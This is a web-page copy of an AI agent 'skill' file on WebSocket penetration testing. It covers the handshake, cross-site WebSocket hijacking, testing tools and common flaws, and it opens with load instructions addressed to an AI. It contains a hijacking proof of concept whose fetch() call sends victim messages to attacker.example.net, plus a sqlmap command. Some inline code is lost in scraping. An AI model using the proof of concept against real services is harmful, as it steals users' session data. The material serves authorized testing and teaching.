websocket-security
Original:🇺🇸 English
Translated
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
18installs
Sourceyaklang/hack-skills
Added on
NPX Install
npx skill4agent add yaklang/hack-skills websocket-securityTags
Translated version includes tags in frontmatterSKILL.md Content
View Translation Comparison →SKILL: WebSocket Security
AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
0. QUICK START
During proxy or raw traffic review, watch for:
http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocolServer success response indicators:
http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=中文路由提示:在 Burp/浏览器 DevTools 里筛 与 ;深度 API 测试从 技能对齐认证与授权模型。
101Upgrade: websocketapi-sec1. PROTOCOL BASICS
Client request (typical)
- and
Upgrade: websocket— required upgrade handshake.Connection: Upgrade - — base64 nonce; server hashes with magic GUID and responds with
Sec-WebSocket-Key.Sec-WebSocket-Accept - — current standard version for browser interoperability.
Sec-WebSocket-Version: 13
Server response
- — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
HTTP/1.1 101 Switching Protocols
Minimal conceptual flow:
text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
Condition
- The server does not validate (or equivalent binding) on the WebSocket handshake, and
Origin - The victim has an active session (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.
Proof-of-concept pattern (laboratory / authorized target only)
javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};Testing notes: Confirm whether is checked, whether cookies are sent ( rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.
OriginSameSite3. TESTING WITH TOOLS
wsrepl
bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.pyUse a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
ws-harness (bridge to HTTP for other tools)
bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txtExample downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batchBurp Suite ecosystem
- SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
- WebSocket Turbo Intruder — high-rate or scripted message fuzzing.
4. COMMON VULNERABILITIES
| Issue | Why it matters |
|---|---|
Missing | Enables CSWSH from attacker-controlled pages |
Auth token in URL ( | Logs, proxies, Referer leakage, browser history |
| No rate limiting on messages | Abuse, brute force, DoS |
| Cleartext on the wire (MITM) |
| Injection in message bodies | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
Example sensitive URL anti-pattern:
text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.
5. DECISION TREE
- Identify endpoint — From JS bundles, Swagger, or responses; note
101vswss.ws - Handshake review — Are , Host, and Cookie policies correct? Any token in query string?
Origin - Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
- CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
- Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
- Transport — Flag in production; verify TLS and HSTS alignment.
ws://
6. RELATED ROUTING
- From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.
中文:WebSocket 常与 REST 共用会话与权限模型;从 对齐同一后端的认证与资源边界。
api-sec